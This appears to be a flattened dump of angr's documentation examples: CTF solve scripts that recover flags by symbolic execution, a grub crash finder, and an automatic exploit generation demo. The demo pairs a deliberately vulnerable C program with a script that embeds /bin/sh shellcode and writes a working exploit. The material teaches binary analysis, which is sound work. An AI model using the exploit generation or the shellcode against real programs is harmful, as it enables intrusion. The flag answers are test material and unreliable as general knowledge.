https://www.juniper.net/documentation/en_US/idp5.1/topics/reference/general/intrusion-detection-prevention-custom-attack-object-extended-ascii.html 29 | # Thanks to Tom Ravenscroft (@tomravenscroft) for showing me how to restrict to printable characters. 30 | 31 | # We're told that every flag is formatted as "CTF{...}", so we might as well use that information to save processing time. 32 | initial_state.add_constraints(argv1.chop(8)[0] == 'C') 33 | initial_state.add_constraints(argv1.chop(8)[1] == 'T') 34 | initial_state.add_constraints(argv1.chop(8)[2] == 'F') 35 | initial_state.add_constraints(argv1.chop(8)[3] == '{') 36 | # angr will still find the solution without setting these, but it'll take a few seconds more. 37 | 38 | sm = proj.factory.simulation_manager(initial_state) 39 | 40 | # 0x400830 = thank you message 41 | sm.explore(find=0x400830, avoid=0x400850) 42 | # 0x400850 = activation failure 43 | 44 | found = sm.found[0] # In our case, there's only one printable solution. 45 | 46 | solution = found.solver.eval(argv1, cast_to=bytes) 47 | solution = solution[:solution.find(b"}")+1] # Trim off the null bytes at the end of the flag (if any). 48 | return solution 49 | 50 | def test(): 51 | assert main() == b'CTF{0The1Quick2Brown3Fox4Jumped5Over6The7Lazy8Fox9}' 52 | 53 | if __name__ == '__main__': 54 | print(repr(main())) 55 | 56 | -------------------------------------------------------------------------------- /examples/google2016_unbreakable_0/unbreakable-enterprise-product-activation: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/angr/angr-doc/bf380700f2baa092c2970a2dceb0eb2793bd9837/examples/google2016_unbreakable_0/unbreakable-enterprise-product-activation -------------------------------------------------------------------------------- /examples/google2016_unbreakable_1/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | """ 4 | In this challenge we are given a binary that checks an input given as a 5 | command line argument. If it is correct, 'Thank you - product activated!' is 6 | printed. If it is incorrect, 'Product activation failure %d' is printed with a 7 | specific error code. 8 | 9 | Reversing shows that the program verifies that various operations on specific 10 | characters of input are equal to zero. Because of the program's linear nature 11 | and reliance on verbose constraints, angr is perfect for solving this challenge 12 | quickly. On a virtual machine, it took ~7 seconds to solve. 13 | 14 | Author: scienceman (@docileninja) 15 | Team: bitsforeveryone (USMA) 16 | """ 17 | 18 | import angr 19 | 20 | 21 | START_ADDR = 0x4005bd # first part of program that does computation 22 | AVOID_ADDR = 0x400850 # address of function that prints wrong 23 | FIND_ADDR = 0x400830 # address of function that prints correct 24 | INPUT_ADDR = 0x6042c0 # location in memory of user input 25 | INPUT_LENGTH = 0xf2 - 0xc0 + 1 # derived from the first and last character 26 | # reference in data 27 | 28 | def extract_memory(state): 29 | """Convience method that returns the flag input memory.""" 30 | return state.solver.eval(state.memory.load(INPUT_ADDR, INPUT_LENGTH), cast_to=bytes) 31 | 32 | def char(state, n): 33 | """Returns a symbolic BitVector and contrains it to printable chars for a given state.""" 34 | vec = state.solver.BVS('c{}'.format(n), 8, explicit_name=True) 35 | return vec, state.solver.And(vec >= ord(' '), vec <= ord('~')) 36 | 37 | def main(): 38 | p = angr.Project('unbreakable', auto_load_libs=False) 39 | 40 | print('adding BitVectors and constraints') 41 | state = p.factory.blank_state(addr=START_ADDR, add_options={angr.options.LAZY_SOLVES}) 42 | for i in range(INPUT_LENGTH): 43 | c, cond = char(state, i) 44 | # the first command line argument is copied to INPUT_ADDR in memory 45 | # so we store the BitVectors for angr to manipulate 46 | state.memory.store(INPUT_ADDR + i, c) 47 | state.add_constraints(cond) 48 | 49 | print('creating simgr') 50 | ex = p.factory.simulation_manager(state) 51 | 52 | print('running explorer') 53 | ex.explore(find=(FIND_ADDR,), avoid=(AVOID_ADDR,)) 54 | 55 | flag = extract_memory(ex.one_found) # ex.one_found is equiv. to ex.found[0] 56 | print('found flag: {}'.format(flag)) 57 | 58 | return flag 59 | 60 | def test(): 61 | assert main() == b'CTF{0The1Quick2Brown3Fox4Jumped5Over6The7Lazy8Fox9}' 62 | 63 | if __name__ == '__main__': 64 | main() 65 | -------------------------------------------------------------------------------- /examples/google2016_unbreakable_1/unbreakable: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/angr/angr-doc/bf380700f2baa092c2970a2dceb0eb2793bd9837/examples/google2016_unbreakable_1/unbreakable -------------------------------------------------------------------------------- /examples/grub/crypto.mod: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/angr/angr-doc/bf380700f2baa092c2970a2dceb0eb2793bd9837/examples/grub/crypto.mod -------------------------------------------------------------------------------- /examples/grub/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | import angr 4 | import logging 5 | 6 | # This is the important logic that makes this problemt tractable 7 | class CheckUniqueness(angr.ExplorationTechnique): 8 | def __init__(self): 9 | self.unique_states = set() 10 | 11 | def filter(self, simgr, state, filter_func=None): 12 | vals = [] 13 | for reg in ('eax', 'ebx', 'ecx', 'edx', 'esi', 'edi', 'ebp', 'esp', 'eip'): 14 | val = state.registers.load(reg) 15 | if val.symbolic: 16 | vals.append('symbolic') 17 | else: 18 | vals.append(state.solver.eval(val)) 19 | 20 | vals = tuple(vals) 21 | if vals in self.unique_states: 22 | return 'not_unique' 23 | 24 | self.unique_states.add(vals) 25 | return simgr.filter(state, filter_func=filter_func) 26 | 27 | 28 | class SearchForNull(angr.ExplorationTechnique): 29 | def setup(self, simgr): 30 | if 'found' not in simgr.stashes: 31 | simgr.stashes['found'] = [] 32 | 33 | def filter(self, simgr, state, filter_func=None): 34 | if state.addr == 0: 35 | return 'found' 36 | return simgr.filter(state, filter_func=filter_func) 37 | 38 | def complete(self, simgr): 39 | return len(simgr.found) 40 | 41 | def setup_project(): 42 | project = angr.Project('crypto.mod', auto_load_libs=False) 43 | 44 | # use libc functions as stand-ins for grub functions 45 | memset = angr.SIM_PROCEDURES['libc']['memset'] 46 | getchar = angr.SIM_PROCEDURES['libc']['getchar'] 47 | do_nothing = angr.SIM_PROCEDURES['stubs']['ReturnUnconstrained'] 48 | 49 | project.hook_symbol('grub_memset', memset()) 50 | project.hook_symbol('grub_getkey', getchar()) 51 | 52 | # I don't know why, but grub_xputs is apparently not the function but a pointer to it? 53 | xputs_pointer_addr = project.loader.find_symbol('grub_xputs').rebased_addr 54 | xputs_func_addr = project.loader.extern_object.allocate() 55 | project.hook(xputs_func_addr, do_nothing()) 56 | project.loader.memory.pack_word(xputs_pointer_addr, xputs_func_addr) 57 | 58 | return project 59 | 60 | def find_bug(project, function, args): 61 | # set up the most generic state that could enter this function 62 | func_addr = project.loader.find_symbol(function).rebased_addr 63 | start_state = project.factory.call_state(func_addr, *args) 64 | 65 | # create a new simulation manager to explore the state space of this function 66 | simgr = project.factory.simulation_manager(start_state) 67 | simgr.use_technique(SearchForNull()) 68 | simgr.use_technique(CheckUniqueness()) 69 | simgr.run() 70 | 71 | print('we found a crashing input!') 72 | print('crashing state:', simgr.found[0]) 73 | print('input:', repr(simgr.found[0].posix.dumps(0))) 74 | return simgr.found[0].posix.dumps(0) 75 | 76 | def test(): 77 | assert find_bug(setup_project(), 'grub_password_get', (angr.PointerWrapper(b'\0'*64, buffer=True), 64)) == b'\x08\x08\x08\x08\x08\x08\x08\x08\x08\x08\x08\x08\r' 78 | 79 | if __name__ == '__main__': 80 | logging.getLogger('angr.sim_manager').setLevel('DEBUG') 81 | p = setup_project() 82 | find_bug(p, 'grub_password_get', (angr.PointerWrapper('\0'*64, buffer=True), 64)) 83 | -------------------------------------------------------------------------------- /examples/hackcon2016_angry-reverser/solve.py: -------------------------------------------------------------------------------- 1 | import angr 2 | import claripy 3 | 4 | # HackCon 2016 - angry-reverser 5 | # @author: P1kachu, Kyle ZENG 6 | # @contact: p1kachu@lse.epita.fr, jkjh1jkjh1@gmail.com 7 | # Execution time: ~1 minute 8 | 9 | def main(): 10 | flag = claripy.BVS('flag', 20*8, explicit_name=True)# symbolized flag, we know the length by looking at the assembly code 11 | buf = 0x606000# buffer to store flag 12 | crazy = 0x400646# entry point of crazy function 13 | find = 0x405a6e# end of crazy function 14 | 15 | # Offset of 'FAIL' blocks in Crazy(from pwntools--e.search(asm('mov ecx, 0'))) 16 | avoids = [0x402c3c, 0x402eaf, 0x40311c, 0x40338b, 0x4035f8, 0x403868, 17 | 0x403ad5, 0x403d47, 0x403fb9, 0x404227, 0x404496, 0x40470a, 18 | 0x404978, 0x404bec, 0x404e59, 0x4050c7, 0x405338, 0x4055a9, 19 | 0x4057f4, 0x405a2b] 20 | 21 | 22 | proj = angr.Project('./yolomolo', auto_load_libs=False) 23 | # Create blank state starting from crazy function 24 | # LAZY_SOLVES is very important here because we are actually collecting constraints for an equation Ax=b, where A is 20 by 20, x and b are 20 by 1 25 | state = proj.factory.blank_state(addr=crazy, add_options={angr.options.LAZY_SOLVES}) 26 | # insert flag into memory by hand 27 | state.memory.store(buf, flag, endness='Iend_BE') 28 | state.regs.rdi = buf 29 | 30 | # each character of flag should be between 0x30 and 0x7f 31 | for i in range(19): 32 | state.solver.add(flag.get_byte(i) >= 0x30) 33 | state.solver.add(flag.get_byte(i) <= 0x7f) 34 | 35 | simgr = proj.factory.simulation_manager(state) 36 | 37 | simgr.explore(find=find, avoid=avoids) 38 | found = simgr.found[0] 39 | return found.solver.eval(flag, cast_to=bytes) 40 | 41 | def test(): 42 | assert main() == b"HACKCON{VVhYS04ngrY}" 43 | 44 | if __name__ in '__main__': 45 | import logging 46 | logging.getLogger('angr.sim_manager').setLevel(logging.DEBUG) 47 | print(main()) 48 | -------------------------------------------------------------------------------- /examples/hackcon2016_angry-reverser/yolomolo: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/angr/angr-doc/bf380700f2baa092c2970a2dceb0eb2793bd9837/examples/hackcon2016_angry-reverser/yolomolo -------------------------------------------------------------------------------- /examples/hitcon2017_sakura/sakura: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/angr/angr-doc/bf380700f2baa092c2970a2dceb0eb2793bd9837/examples/hitcon2017_sakura/sakura -------------------------------------------------------------------------------- /examples/hitcon2017_sakura/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | # Author: Kyle ZENG 4 | # Runtime: ~6 minutes 5 | 6 | import hashlib 7 | import angr 8 | 9 | def main(): 10 | e = open('./sakura', 'rb').read() 11 | 12 | # make sure return value is not 0, add corresponding addr to avoid list 13 | avoids = [] 14 | index = 0 15 | while True: 16 | # avoid asm('mov byte ptr [rbp-0x1E49], 0') 17 | index = e.find(b'\xc6\x85\xb7\xe1\xff\xff\x00', index+1) 18 | if index == -1: 19 | break 20 | addr = 0x400000 + index 21 | avoids.append(addr) 22 | 23 | # find list 24 | finds = [] 25 | index = 0 26 | while True: 27 | # find asm('mov rdi, rax') 28 | index = e.find(b'H\x89\xc7', index+1) 29 | if index == -1 or index > 0x10ff5: 30 | break 31 | addr = 0x400000 + index 32 | finds.append(addr) 33 | 34 | # skip a addr we don't want to find 35 | index = e.find(b'H\x89\xc7', index+1) 36 | 37 | # initialize project 38 | proj = angr.Project('./sakura', auto_load_libs=False) 39 | state = proj.factory.entry_state() 40 | simgr = proj.factory.simulation_manager(state) 41 | 42 | # find ans stage by stage 43 | for find in finds: 44 | simgr.explore(find=find, avoid=avoids) 45 | found = simgr.found[0] 46 | simgr = proj.factory.simulation_manager(found) 47 | 48 | # evaluate text 49 | text = found.solver.eval(found.memory.load(0x612040, 400), cast_to=bytes) 50 | 51 | h = hashlib.sha256(text) 52 | flag = 'hitcon{'+h.hexdigest()+'}' 53 | return flag 54 | 55 | def test(): 56 | assert main() == 'hitcon{6c0d62189adfd27a12289890d5b89c0dc8098bc976ecc3f6d61ec0429cccae61}' 57 | 58 | if __name__ == '__main__': 59 | import logging 60 | logging.getLogger('angr.sim_manager').setLevel(logging.DEBUG) 61 | 62 | print(main()) 63 | -------------------------------------------------------------------------------- /examples/ictf2017_javaisnotfun/bin/libnotfun.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/angr/angr-doc/bf380700f2baa092c2970a2dceb0eb2793bd9837/examples/ictf2017_javaisnotfun/bin/libnotfun.so -------------------------------------------------------------------------------- /examples/ictf2017_javaisnotfun/bin/service.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/angr/angr-doc/bf380700f2baa092c2970a2dceb0eb2793bd9837/examples/ictf2017_javaisnotfun/bin/service.jar -------------------------------------------------------------------------------- /examples/ictf2017_javaisnotfun/challenge/ro/libnotfun.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/angr/angr-doc/bf380700f2baa092c2970a2dceb0eb2793bd9837/examples/ictf2017_javaisnotfun/challenge/ro/libnotfun.so -------------------------------------------------------------------------------- /examples/ictf2017_javaisnotfun/challenge/ro/service.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/angr/angr-doc/bf380700f2baa092c2970a2dceb0eb2793bd9837/examples/ictf2017_javaisnotfun/challenge/ro/service.jar -------------------------------------------------------------------------------- /examples/ictf2017_javaisnotfun/challenge/rw/javaisnotfun: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | java -Xms64m -Xint -Djava.library.path=../ro -jar ../ro/service.jar 4 | 5 | -------------------------------------------------------------------------------- /examples/ictf2017_javaisnotfun/challenge/src.tar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/angr/angr-doc/bf380700f2baa092c2970a2dceb0eb2793bd9837/examples/ictf2017_javaisnotfun/challenge/src.tar -------------------------------------------------------------------------------- /examples/insomnihack_aeg/.gitignore: -------------------------------------------------------------------------------- 1 | demo_bin-exploit 2 | -------------------------------------------------------------------------------- /examples/insomnihack_aeg/Makefile: -------------------------------------------------------------------------------- 1 | 2 | all: demo_bin.c 3 | gcc -m32 -o demo_bin demo_bin.c -z execstack 4 | -------------------------------------------------------------------------------- /examples/insomnihack_aeg/demo_bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/angr/angr-doc/bf380700f2baa092c2970a2dceb0eb2793bd9837/examples/insomnihack_aeg/demo_bin -------------------------------------------------------------------------------- /examples/insomnihack_aeg/demo_bin.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | char component_name[128] = {0}; 8 | 9 | typedef struct component { 10 | char name[32]; 11 | int (*do_something)(int arg); 12 | } comp_t; 13 | 14 | int sample_func(int x) { 15 | printf(" - %s - recieved argument %d\n", component_name, x); 16 | } 17 | 18 | comp_t *initialize_component(char *cmp_name) { 19 | int i = 0; 20 | comp_t *cmp; 21 | 22 | cmp = malloc(sizeof(struct component)); 23 | cmp->do_something = sample_func; 24 | 25 | printf("Copying component name...\n"); 26 | strcpy(cmp->name, cmp_name); 27 | 28 | cmp->name[i] = '\0'; 29 | return cmp; 30 | } 31 | 32 | int main(void) 33 | { 34 | comp_t *cmp; 35 | 36 | printf("Component Name:\n"); 37 | read(0, component_name, sizeof component_name); 38 | 39 | printf("Initializing component...\n"); 40 | cmp = initialize_component(component_name); 41 | 42 | printf("Running component...\n"); 43 | mprotect((void*)((long)&component_name & ~0xfff), 0x1000, PROT_READ | PROT_EXEC); 44 | cmp->do_something(1); 45 | } 46 | -------------------------------------------------------------------------------- /examples/insomnihack_aeg/solve.py: -------------------------------------------------------------------------------- 1 | import os 2 | import sys 3 | import angr 4 | import subprocess 5 | import logging 6 | 7 | from angr import sim_options as so 8 | 9 | l = logging.getLogger("insomnihack.simple_aeg") 10 | 11 | 12 | # shellcraft i386.linux.sh 13 | shellcode = bytes.fromhex("6a68682f2f2f73682f62696e89e331c96a0b5899cd80") 14 | 15 | def fully_symbolic(state, variable): 16 | ''' 17 | check if a symbolic variable is completely symbolic 18 | ''' 19 | 20 | for i in range(state.arch.bits): 21 | if not state.solver.symbolic(variable[i]): 22 | return False 23 | 24 | return True 25 | 26 | def check_continuity(address, addresses, length): 27 | ''' 28 | dumb way of checking if the region at 'address' contains 'length' amount of controlled 29 | memory. 30 | ''' 31 | 32 | for i in range(length): 33 | if not address + i in addresses: 34 | return False 35 | 36 | return True 37 | 38 | def find_symbolic_buffer(state, length): 39 | ''' 40 | dumb implementation of find_symbolic_buffer, looks for a buffer in memory under the user's 41 | control 42 | ''' 43 | 44 | # get all the symbolic bytes from stdin 45 | stdin = state.posix.stdin 46 | 47 | sym_addrs = [ ] 48 | for _, symbol in state.solver.get_variables('file', stdin.ident): 49 | sym_addrs.extend(state.memory.addrs_for_name(next(iter(symbol.variables)))) 50 | 51 | for addr in sym_addrs: 52 | if check_continuity(addr, sym_addrs, length): 53 | yield addr 54 | 55 | def main(binary): 56 | p = angr.Project(binary, auto_load_libs=False) 57 | 58 | binary_name = os.path.basename(binary) 59 | 60 | extras = {so.REVERSE_MEMORY_NAME_MAP, so.TRACK_ACTION_HISTORY} 61 | es = p.factory.entry_state(add_options=extras) 62 | sm = p.factory.simulation_manager(es, save_unconstrained=True) 63 | 64 | # find a bug giving us control of PC 65 | l.info("looking for vulnerability in '%s'", binary_name) 66 | exploitable_state = None 67 | while exploitable_state is None: 68 | print(sm) 69 | sm.step() 70 | if len(sm.unconstrained) > 0: 71 | l.info("found some unconstrained states, checking exploitability") 72 | for u in sm.unconstrained: 73 | if fully_symbolic(u, u.regs.pc): 74 | exploitable_state = u 75 | break 76 | 77 | # no exploitable state found, drop them 78 | sm.drop(stash='unconstrained') 79 | 80 | l.info("found a state which looks exploitable") 81 | ep = exploitable_state 82 | 83 | assert ep.solver.symbolic(ep.regs.pc), "PC must be symbolic at this point" 84 | 85 | l.info("attempting to create exploit based off state") 86 | 87 | # keep checking if buffers can hold our shellcode 88 | for buf_addr in find_symbolic_buffer(ep, len(shellcode)): 89 | l.info("found symbolic buffer at %#x", buf_addr) 90 | memory = ep.memory.load(buf_addr, len(shellcode)) 91 | sc_bvv = ep.solver.BVV(shellcode) 92 | 93 | # check satisfiability of placing shellcode into the address 94 | if ep.satisfiable(extra_constraints=(memory == sc_bvv,ep.regs.pc == buf_addr)): 95 | l.info("found buffer for shellcode, completing exploit") 96 | ep.add_constraints(memory == sc_bvv) 97 | l.info("pointing pc towards shellcode buffer") 98 | ep.add_constraints(ep.regs.pc == buf_addr) 99 | break 100 | else: 101 | l.warning("couldn't find a symbolic buffer for our shellcode! exiting...") 102 | return 1 103 | 104 | filename = '%s-exploit' % binary_name 105 | with open(filename, 'wb') as f: 106 | f.write(ep.posix.dumps(0)) 107 | 108 | print("%s exploit in %s" % (binary_name, filename)) 109 | print("run with `(cat %s; cat -) | %s`" % (filename, binary)) 110 | return 0 111 | 112 | def test(): 113 | main('./demo_bin') 114 | assert subprocess.check_output('(cat ./demo_bin-exploit; echo echo BUMO) | ./demo_bin', shell=True) == b'BUMO\n' 115 | 116 | if __name__ == '__main__': 117 | # silence some annoying logs 118 | logging.getLogger("angr").setLevel("CRITICAL") 119 | l.setLevel("INFO") 120 | 121 | if len(sys.argv) > 1: 122 | sys.exit(main(sys.argv[1])) 123 | else: 124 | print("%s: " % sys.argv[0]) 125 | -------------------------------------------------------------------------------- /examples/java_androidnative1/.gitignore: -------------------------------------------------------------------------------- 1 | app/app/build 2 | -------------------------------------------------------------------------------- /examples/java_androidnative1/androidnative1.apk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/angr/angr-doc/bf380700f2baa092c2970a2dceb0eb2793bd9837/examples/java_androidnative1/androidnative1.apk -------------------------------------------------------------------------------- /examples/java_androidnative1/app/.gitignore: -------------------------------------------------------------------------------- 1 | *.iml 2 | .gradle 3 | /local.properties 4 | /.idea/caches 5 | /.idea/libraries 6 | /.idea/modules.xml 7 | /.idea/workspace.xml 8 | /.idea/navEditor.xml 9 | /.idea/assetWizardSettings.xml 10 | .DS_Store 11 | /build 12 | /captures 13 | .externalNativeBuild 14 | -------------------------------------------------------------------------------- /examples/java_androidnative1/app/.idea/codeStyles/Project.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 15 | 16 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | -------------------------------------------------------------------------------- /examples/java_androidnative1/app/.idea/gradle.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 14 | 15 | -------------------------------------------------------------------------------- /examples/java_androidnative1/app/.idea/misc.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 9 | -------------------------------------------------------------------------------- /examples/java_androidnative1/app/.idea/runConfigurations.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 11 | 12 | -------------------------------------------------------------------------------- /examples/java_androidnative1/app/.idea/vcs.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /examples/java_androidnative1/app/app/.gitignore: -------------------------------------------------------------------------------- 1 | /build 2 | -------------------------------------------------------------------------------- /examples/java_androidnative1/app/app/build.gradle: -------------------------------------------------------------------------------- 1 | apply plugin: 'com.android.application' 2 | 3 | android { 4 | compileSdkVersion 21 5 | defaultConfig { 6 | applicationId "com.angr.nativetest1" 7 | minSdkVersion 21 8 | targetSdkVersion 21 9 | versionCode 1 10 | versionName "1.0" 11 | testInstrumentationRunner "android.support.test.runner.AndroidJUnitRunner" 12 | externalNativeBuild { 13 | cmake { 14 | cppFlags "" 15 | } 16 | } 17 | } 18 | buildTypes { 19 | release { 20 | minifyEnabled false 21 | proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' 22 | } 23 | } 24 | externalNativeBuild { 25 | cmake { 26 | path "src/main/cpp/CMakeLists.txt" 27 | } 28 | } 29 | productFlavors { 30 | } 31 | } 32 | 33 | dependencies { 34 | implementation fileTree(include: ['*.jar'], dir: 'libs') 35 | implementation 'com.android.support:appcompat-v7:21.0.0' 36 | implementation 'com.android.support.constraint:constraint-layout:1.1.3' 37 | testImplementation 'junit:junit:4.12' 38 | androidTestImplementation 'com.android.support.test:runner:1.0.2' 39 | androidTestImplementation 'com.android.support.test.espresso:espresso-core:3.0.2' 40 | } 41 | -------------------------------------------------------------------------------- /examples/java_androidnative1/app/app/proguard-rules.pro: -------------------------------------------------------------------------------- 1 | # Add project specific ProGuard rules here. 2 | # You can control the set of applied configuration files using the 3 | # proguardFiles setting in build.gradle. 4 | # 5 | # For more details, see 6 | # http://developer.android.com/guide/developing/tools/proguard.html 7 | 8 | # If your project uses WebView with JS, uncomment the following 9 | # and specify the fully qualified class name to the JavaScript interface 10 | # class: 11 | #-keepclassmembers class fqcn.of.javascript.interface.for.webview { 12 | # public *; 13 | #} 14 | 15 | # Uncomment this to preserve the line number information for 16 | # debugging stack traces. 17 | #-keepattributes SourceFile,LineNumberTable 18 | 19 | # If you keep the line number information, uncomment this to 20 | # hide the original source file name. 21 | #-renamesourcefileattribute SourceFile 22 | -------------------------------------------------------------------------------- /examples/java_androidnative1/app/app/src/androidTest/java/com/angr/nativetest1/ExampleInstrumentedTest.java: -------------------------------------------------------------------------------- 1 | package com.angr.nativetest1; 2 | 3 | import android.content.Context; 4 | import android.support.test.InstrumentationRegistry; 5 | import android.support.test.runner.AndroidJUnit4; 6 | 7 | import org.junit.Test; 8 | import org.junit.runner.RunWith; 9 | 10 | import static org.junit.Assert.*; 11 | 12 | /** 13 | * Instrumented test, which will execute on an Android device. 14 | * 15 | * @see Testing documentation 16 | */ 17 | @RunWith(AndroidJUnit4.class) 18 | public class ExampleInstrumentedTest { 19 | @Test 20 | public void useAppContext() { 21 | // Context of the app under test. 22 | Context appContext = InstrumentationRegistry.getTargetContext(); 23 | 24 | assertEquals("com.angr.nativetest1", appContext.getPackageName()); 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /examples/java_androidnative1/app/app/src/main/AndroidManifest.xml: -------------------------------------------------------------------------------- 1 | 2 | 4 | 5 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | -------------------------------------------------------------------------------- /examples/java_androidnative1/app/app/src/main/cpp/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | # For more information about using CMake with Android Studio, read the 2 | # documentation: https://d.android.com/studio/projects/add-native-code.html 3 | 4 | # Sets the minimum version of CMake required to build the native library. 5 | 6 | cmake_minimum_required(VERSION 3.4.1) 7 | 8 | # Creates and names a library, sets it as either STATIC 9 | # or SHARED, and provides the relative paths to its source code. 10 | # You can define multiple libraries, and CMake builds them for you. 11 | # Gradle automatically packages shared libraries with your APK. 12 | 13 | add_library( # Sets the name of the library. 14 | native-lib 15 | 16 | # Sets the library as a shared library. 17 | SHARED 18 | 19 | # Provides a relative path to your source file(s). 20 | native-lib.cpp) 21 | 22 | # Searches for a specified prebuilt library and stores the path as a 23 | # variable. Because CMake includes system libraries in the search path by 24 | # default, you only need to specify the name of the public NDK library 25 | # you want to add. CMake verifies that the library exists before 26 | # completing its build. 27 | 28 | find_library( # Sets the name of the path variable. 29 | log-lib 30 | 31 | # Specifies the name of the NDK library that 32 | # you want CMake to locate. 33 | log) 34 | 35 | # Specifies libraries CMake should link to your target library. You 36 | # can link multiple libraries, such as libraries you define in this 37 | # build script, prebuilt third-party libraries, or system libraries. 38 | 39 | target_link_libraries( # Specifies the target library. 40 | native-lib 41 | 42 | # Links the target library to the log library 43 | # included in the NDK. 44 | ${log-lib}) -------------------------------------------------------------------------------- /examples/java_androidnative1/app/app/src/main/cpp/native-lib.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | extern "C" JNIEXPORT jstring JNICALL 5 | Java_com_angr_nativetest1_MainActivity_stringFromJNI( 6 | JNIEnv *env, 7 | jobject /* this */) { 8 | std::string hello = "Hello from C++"; 9 | return env->NewStringUTF(hello.c_str()); 10 | } 11 | 12 | extern "C" JNIEXPORT jint JNICALL 13 | Java_com_angr_nativetest1_MainActivity_multiply( 14 | JNIEnv *env, 15 | jobject /* this */, jint a, jint b) { 16 | return a*b; 17 | } 18 | -------------------------------------------------------------------------------- /examples/java_androidnative1/app/app/src/main/java/com/angr/nativetest1/MainActivity.java: -------------------------------------------------------------------------------- 1 | package com.angr.nativetest1; 2 | 3 | 4 | import android.app.Activity; 5 | import android.os.Bundle; 6 | import android.widget.TextView; 7 | 8 | public class MainActivity extends Activity { 9 | 10 | // Used to load the 'native-lib' library on application startup. 11 | static { 12 | System.loadLibrary("native-lib"); 13 | } 14 | 15 | @Override 16 | protected void onCreate(Bundle savedInstanceState) { 17 | super.onCreate(savedInstanceState); 18 | setContentView(R.layout.activity_main); 19 | 20 | TextView tv = (TextView) findViewById(R.id.sample_text); 21 | int a = 17; 22 | int b = 13; 23 | int c = multiply(a, b); 24 | tv.setText(String.valueOf(c)); 25 | } 26 | 27 | /** 28 | * A native method that is implemented by the 'native-lib' native library, 29 | * which is packaged with this application. 30 | */ 31 | public native String stringFromJNI(); 32 | public native int multiply(int a, int b); 33 | } 34 | -------------------------------------------------------------------------------- /examples/java_androidnative1/app/app/src/main/res/layout/activity_main.xml: -------------------------------------------------------------------------------- 1 | 2 | 8 | 9 | 18 | 19 | -------------------------------------------------------------------------------- /examples/java_androidnative1/app/app/src/main/res/mipmap-anydpi-v26/ic_launcher.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /examples/java_androidnative1/app/app/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /examples/java_androidnative1/app/app/src/main/res/mipmap-hdpi/ic_launcher.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/angr/angr-doc/bf380700f2baa092c2970a2dceb0eb2793bd9837/examples/java_androidnative1/app/app/src/main/res/mipmap-hdpi/ic_launcher.png -------------------------------------------------------------------------------- /examples/java_androidnative1/app/app/src/main/res/mipmap-hdpi/ic_launcher_round.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/angr/angr-doc/bf380700f2baa092c2970a2dceb0eb2793bd9837/examples/java_androidnative1/app/app/src/main/res/mipmap-hdpi/ic_launcher_round.png -------------------------------------------------------------------------------- /examples/java_androidnative1/app/app/src/main/res/mipmap-mdpi/ic_launcher.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/angr/angr-doc/bf380700f2baa092c2970a2dceb0eb2793bd9837/examples/java_androidnative1/app/app/src/main/res/mipmap-mdpi/ic_launcher.png -------------------------------------------------------------------------------- /examples/java_androidnative1/app/app/src/main/res/mipmap-mdpi/ic_launcher_round.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/angr/angr-doc/bf380700f2baa092c2970a2dceb0eb2793bd9837/examples/java_androidnative1/app/app/src/main/res/mipmap-mdpi/ic_launcher_round.png -------------------------------------------------------------------------------- /examples/java_androidnative1/app/app/src/main/res/mipmap-xhdpi/ic_launcher.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/angr/angr-doc/bf380700f2baa092c2970a2dceb0eb2793bd9837/examples/java_androidnative1/app/app/src/main/res/mipmap-xhdpi/ic_launcher.png -------------------------------------------------------------------------------- /examples/java_androidnative1/app/app/src/main/res/mipmap-xhdpi/ic_launcher_round.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/angr/angr-doc/bf380700f2baa092c2970a2dceb0eb2793bd9837/examples/java_androidnative1/app/app/src/main/res/mipmap-xhdpi/ic_launcher_round.png -------------------------------------------------------------------------------- /examples/java_androidnative1/app/app/src/main/res/mipmap-xxhdpi/ic_launcher.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/angr/angr-doc/bf380700f2baa092c2970a2dceb0eb2793bd9837/examples/java_androidnative1/app/app/src/main/res/mipmap-xxhdpi/ic_launcher.png -------------------------------------------------------------------------------- /examples/java_androidnative1/app/app/src/main/res/mipmap-xxhdpi/ic_launcher_round.png: -------------------------------------------------------------------------------- 